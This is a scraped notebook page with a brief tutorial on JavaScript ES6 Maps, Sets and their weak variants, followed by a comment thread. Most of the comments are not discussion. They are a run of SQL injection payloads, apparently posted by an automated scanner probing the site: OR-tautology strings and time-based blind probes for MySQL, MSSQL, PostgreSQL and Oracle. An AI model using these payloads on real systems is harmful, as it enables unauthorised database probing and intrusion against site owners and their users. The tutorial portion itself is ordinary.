ES6 Maps, WeakMaps, Sets, and WeakSets

node v0.12.18
version: 5.0.0
endpointsharetweet
Maps and Sets are new Collections in JavaScript that extend its capabilities beyond just Objects and Arrays. Maps are kind of like objects, but allow you to use *any* object as a key, not just strings:
var map = new Map(); var key = { name: "Object Key" }; var value = { name: "Object Value" }; // This wouldn't be possible using just an object. map.set(key, value); map.get(key);
With a Map, you'll also never accidentally overwrite a property with a storage key:
map.set("size", "value"); console.log(map.get("size") + " vs. " + map.size);
Sets are more like arrays, but only have unique values in them:
var array = [1,3,5,1,5,5,3]; var uniqueValues = new Set(); array.forEach(value => uniqueValues.add(value)); uniqueValues.forEach((value) => console.log(value));
WeakMaps and WeakSets provide "leak-free" versions of these, by not storing references to the keys. You can read more about Maps, Sets, and their weak counterparts here: https://hacks.mozilla.org/2015/06/es6-in-depth-collections/
Loading…

53 comments

  • posted 9 months ago by hugoboos
    Value =>positive transfer
  • posted 7 months ago by 661c390fa0b29100087f7b89
    v
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1 OR 2+746-746-1=0+0+0+1 --
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1 OR 2+825-825-1=0+0+0+1
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1' OR 2+632-632-1=0+0+0+1 --
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1' OR 2+460-460-1=0+0+0+1 or 'VKjTNB8w'='
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    -1" OR 2+525-525-1=0+0+0+1 --
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1*if(now()=sysdate(),sleep(15),0)
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1; waitfor delay '0:0:15' --
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1); waitfor delay '0:0:15' --
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1 waitfor delay '0:0:15' --
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1yTQ3pbIR'; waitfor delay '0:0:15' --
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1 OR 960=(SELECT 960 FROM PG_SLEEP(15))--
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1) OR 922=(SELECT 922 FROM PG_SLEEP(15))--
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1-1)) OR 439=(SELECT 439 FROM PG_SLEEP(15))--
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1RgI5YJsI' OR 681=(SELECT 681 FROM PG_SLEEP(15))--
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1pvloBfgg') OR 21=(SELECT 21 FROM PG_SLEEP(15))--
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1XTKX4IP6')) OR 424=(SELECT 424 FROM PG_SLEEP(15))--
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    '"
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    ����%2527%2522\'\"
  • posted 5 months ago by 396abf98bfbf9e0278c0ff5763ab8d98
    @@gm6Yf
  • posted 15 hours ago by xsjybldb
    1
  • posted 15 hours ago by xsjybldb
    1
  • posted 15 hours ago by xsjybldb
    -1 OR 2+978-978-1=0+0+0+1 --
  • posted 15 hours ago by xsjybldb
    -1 OR 2+644-644-1=0+0+0+1
  • posted 15 hours ago by xsjybldb
    -1' OR 2+786-786-1=0+0+0+1 --
  • posted 15 hours ago by xsjybldb
    -1' OR 2+127-127-1=0+0+0+1 or '9WeEl3c8'='
  • posted 15 hours ago by xsjybldb
    -1" OR 2+594-594-1=0+0+0+1 --
  • posted 15 hours ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted 15 hours ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted 15 hours ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted 15 hours ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted 15 hours ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted 15 hours ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted 15 hours ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted 15 hours ago by xsjybldb
    i1gKePBW'; waitfor delay '0:0:15' --
  • posted 15 hours ago by xsjybldb
    -5 OR 654=(SELECT 654 FROM PG_SLEEP(15))--
  • posted 15 hours ago by xsjybldb
    -5) OR 811=(SELECT 811 FROM PG_SLEEP(15))--
  • posted 15 hours ago by xsjybldb
    -1)) OR 932=(SELECT 932 FROM PG_SLEEP(15))--
  • posted 15 hours ago by xsjybldb
    CThO7wR1' OR 899=(SELECT 899 FROM PG_SLEEP(15))--
  • posted 15 hours ago by xsjybldb
    i0YZewYc') OR 788=(SELECT 788 FROM PG_SLEEP(15))--
  • posted 15 hours ago by xsjybldb
    BHbueJPN')) OR 331=(SELECT 331 FROM PG_SLEEP(15))--
  • posted 15 hours ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted 15 hours ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted 15 hours ago by xsjybldb
    1'"
  • posted 15 hours ago by xsjybldb
    @@0aUwG

sign in to comment